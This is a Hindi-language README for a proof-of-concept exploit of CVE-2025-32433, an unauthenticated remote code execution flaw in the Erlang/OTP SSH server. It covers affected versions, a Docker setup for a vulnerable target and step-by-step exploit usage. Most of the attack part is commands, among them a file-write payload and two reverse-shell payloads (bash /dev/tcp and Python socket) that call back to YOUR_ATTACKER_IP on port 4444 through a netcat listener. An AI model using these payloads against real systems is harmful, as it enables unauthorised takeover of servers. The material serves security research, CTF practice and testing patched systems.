
CVE-2025-32433 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Erlang/OTP SSH में बिना प्रमाणीकरण के रिमोट कोड निष्पादन सक्षम बनाता है। इसमें सुरक्षा अनुसंधान और CTF चुनौतियों के लिए Docker सेटअप और रिवर्स शेल पेलोड शामिल हैं।
इस रिपॉजिटरी में CVE-2025-32433 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) है, जो Erlang/Open Telecom Platform (OTP) में SSH सर्वर इम्प्लीमेंटेशन को प्रभावित करने वाली एक गंभीर अप्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता है। यह PoC शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और कैप्चर द फ्लैग (CTF) चुनौतियों के लिए डिज़ाइन किया गया है।
⚠️ अस्वीकरण - केवल शैक्षिक और नैतिक उपयोग के लिए ⚠️
यह PoC केवल शैक्षिक और नैतिक हैकिंग उद्देश्यों के लिए प्रदान किया गया है। यह नियंत्रित वातावरण, जैसे कि पृथक वर्चुअल मशीन या CTF प्लेटफ़ॉर्म, में उपयोग के लिए है, जहाँ आपके पास सुरक्षा परीक्षण करने की स्पष्ट अनुमति है।
इस PoC का उपयोग किसी भी ऐसे सिस्टम के विरुद्ध न करें जिसके आप स्वामी नहीं हैं या जिसके परीक्षण के लिए आपके पास स्पष्ट, लिखित प्राधिकरण नहीं है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच या शोषण अवैध और अनैतिक है। इस रिपॉजिटरी के लेखक और अनुरक्षक इस कोड के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।
| Attribute | Details |
|---|---|
| CVE ID | CVE-2025-32433 |
| भेद्यता प्रकार | अप्रमाणित रिमोट कोड निष्पादन (RCE) |
| CVSS v3.1 स्कोर | 10.0 (क्रिटिकल) |
| प्रभावित सॉफ़्टवेयर | Erlang/OTP SSH सर्वर (ssh) |
| प्रभावित संस्करण | OTP-27.3.2 और इससे पहले OTP-26.2.5.10 और इससे पहले OTP-25.3.2.19 और इससे पहले OTP 17.0 और उससे पुराने संस्करण |
| पैच किए गए संस्करण | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
यह भेद्यता उस तरीके में है जिससे Erlang/OTP SSH सर्वर प्री-ऑथेंटिकेशन चरण के दौरान SSH प्रोटोकॉल संदेशों को संसाधित करता है। विशेष रूप से, सर्वर SSH प्रोटोकॉल अनुक्रम को ठीक से लागू करने में विफल रहता है, जिससे एक दूरस्थ, अप्रमाणित हमलावर को निर्मित SSH_MSG_CHANNEL_OPEN और SSH_MSG_CHANNEL_REQUEST संदेश भेजने की अनुमति मिलती है। यह हमलावर को मान्य क्रेडेंशियल प्रदान किए बिना एक सत्र चैनल खोलने और मनमाना Erlang कमांड निष्पादित करने में सक्षम बनाता है (जो बदले में सिस्टम कमांड निष्पादित कर सकते हैं)। यदि SSH डेमॉन बढ़े हुए विशेषाधिकारों के साथ चलता है (जैसे, root के रूप में), तो सफल शोषण पूर्ण सिस्टम से समझौता कर सकता है।
एक भेद्य Erlang/OTP SSH सर्वर सेट करने का सबसे आसान तरीका प्रदान किए गए Dockerfile का उपयोग करना है।
इस रिपॉजिटरी को क्लोन करें:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Docker इमेज बनाएं:
यह कमांड Erlang/OTP का एक भेद्य संस्करण (OTP-26.2.5.10) संकलित करता है और SSH सर्वर को कॉन्फ़िगर करता है।
docker build -t erlang-ssh-vulnerable .
भेद्य सर्वर कंटेनर चलाएँ:
यह Erlang/OTP SSH सर्वर को पृष्ठभूमि में शुरू करता है, जो पोर्ट 2222 पर सुनता है।
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: कंटेनर को डिटैच्ड मोड में चलाता है।--name erlang-ssh-target: आसान प्रबंधन के लिए कंटेनर को एक नाम प्रदान करता है।-p 2222:2222: होस्ट पोर्ट 2222 को कंटेनर पोर्ट 2222 से मैप करता है।cve_2025_32433_exploit.py स्क्रिप्ट को इंटरैक्टिव रूप से या कमांड-लाइन तर्कों के साथ चलाया जा सकता है।
यदि आप स्क्रिप्ट को बिना तर्कों के चलाते हैं, तो यह आपसे आवश्यक जानकारी माँगेगी।
python3 cve_2025_32433_exploit.py
127.0.0.1)।2222)।यदि आप इंटरैक्टिव मोड में कमांड प्रॉम्प्ट खाली छोड़ते हैं तो यह डिफ़ॉल्ट व्यवहार है। यह लक्ष्य पर एक फ़ाइल /tmp/note.txt बनाता है।
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!रिवर्स शेल पाने के लिए, आपको एक ऐसा पेलोड प्रदान करना होगा जो आपकी मशीन पर लिसनर से वापस कनेक्ट हो।
Netcat लिसनर शुरू करें अपनी हमलावर मशीन (जैसे, Kali Linux) पर अपने चुने हुए पोर्ट पर।
nc -lvnp 4444
महत्वपूर्ण: सुनिश्चित करें कि आपकी हमलावर मशीन पर आपका फ़ायरवॉल (जैसे,
ufw) इस पोर्ट पर इनबाउंड कनेक्शन की अनुमति देता है।sudo ufw allow 4444/tcp
PoC स्क्रिप्ट को रिवर्स शेल पेलोड के साथ चलाएँ। YOUR_ATTACKER_IP को अपनी मशीन के IP पते से बदलें।
Bash रिवर्स शेल:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Python रिवर्स शेल (अक्सर अधिक विश्वसनीय):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
अपना Netcat लिसनर जाँचें। आपको एक कनेक्शन प्राप्त होना चाहिए और लक्ष्य कंटेनर पर एक शेल मिलना चाहिए।
Docker कंटेनर और इमेज को रोकने और हटाने के लिए:
# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable
सत्यापित करें कि कंटेनर चल रहा है:
docker ps